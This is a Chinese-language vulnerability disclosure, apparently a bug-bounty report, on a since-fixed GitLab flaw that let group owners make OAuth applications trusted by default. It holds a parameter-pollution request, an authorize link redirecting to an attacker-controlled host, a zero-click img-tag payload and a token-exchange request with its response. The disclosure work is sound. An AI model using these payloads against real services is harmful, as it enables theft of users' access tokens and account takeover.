GitLab OAuth2访问令牌漏洞分析
漏洞概述
通过组级应用设置中的缺陷,攻击者能够为目标用户生成OAuth2访问令牌。组所有者可以默认创建受用户信任的应用,从而绕过授权流程中的CSRF控制。
复现步骤
- 以用户1身份登录,创建名为“恶意组”的组。
- 在设置 > 应用 > 勾选api范围,创建应用。
- 打开创建的应用并点击编辑,在点击“保存应用”时拦截请求,追加以下参数:
doorkeeper_application%5Btrusted%5D=0&doorkeeper_application%5Btrusted%5D=1&
这将允许创建默认受信任的应用(此功能原本仅限实例管理员使用)。
- 向用户发送以下链接,或将其放入img标签中:
https://gitlab.com/login/oauth/authorize?redirect_uri=http://<attacker-control>.com&client_id=9ff83fc426f95b5b5dec389ac02adf4ef800e4a0fb04faed6ffc8305f5fccf29&scope=api
- 观察包含代码的请求。
- 使用以下端点生成访问令牌:
1
2
3
4
5
6
7
8
9
10
11
12
|
POST /login/oauth/access_token HTTP/1.1
Host: gdk.test:3000
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:87.0) Gecko/20100101 Firefox/87.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Connection: close
Cookie: [多个Cookie值]
Upgrade-Insecure-Requests: 1
Content-Length: 223
code=6c53ef532f34762b8705029d4fd005d2c32d788d3e3a78151c1b5f6a2743dffc&client_id=04a5da53b6faaba4758fcb0e7bd80845795c9c838363568c9b4efcc0bcec1934&client_secret=9de25469a82dee694ae4e33e02a3e97156bec87ba905fc4e3e34b9de805f9dc4
|
响应:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
|
HTTP/1.1 200 OK
Cache-Control: max-age=0, private, must-revalidate, no-store
Content-Type: text/plain; charset=utf-8
Etag: W/"a219f8ac2bd29580e1f17894de3956da"
Pragma: no-cache
Referrer-Policy: strict-origin-when-cross-origin
X-Content-Type-Options: nosniff
X-Download-Options: noopen
X-Frame-Options: DENY
X-Gitlab-Feature-Category: integrations
X-Permitted-Cross-Domain-Policies: none
X-Request-Id: 01F2E6M6TER14PB17H6XCDC0B3
X-Runtime: 0.257708
X-Ua-Compatible: IE=edge
X-Xss-Protection: 1; mode=block
Date: Sun, 04 Apr 2021 10:25:03 GMT
Content-Length: 105
Connection: close
access_token=bc3450dfcc2fb46eece85d1f74d96070f94cd35e656b184706027227243d5338&scope=api&token_type=Bearer
|
漏洞影响
攻击者可以获取任意目标用户的api范围访问权限,进而代表用户执行操作。
当前错误行为
能够在未经用户同意的情况下获取用户的代码并生成访问令牌。
预期正确行为
组所有者不应能够在创建应用时默认启用“受信任”选项。
漏洞利用说明
该漏洞可通过GET请求触发,攻击者可以将有效负载嵌入开发者常用的流行网站中,无需用户点击。
示例HTML代码:
1
2
3
|
<html>
<img src="https://gitlab.com/login/oauth/authorize?redirect_uri=http://localhost:4444/&client_id=9ff83fc426f95b5b5dec389ac02adf4ef800e4a0fb04faed6ffc8305f5fccf29&scope=api">
</html>
|
修复过程
GitLab安全团队于2021年4月7日推送了修复补丁,验证确认攻击已无法进行。该漏洞被标记为“高度严重”,CVSS评分7-8.9,属于“不当身份验证-通用”弱点类型。
报告于2021年4月4日提交,2021年4月20日修复完成,2025年7月23日公开披露。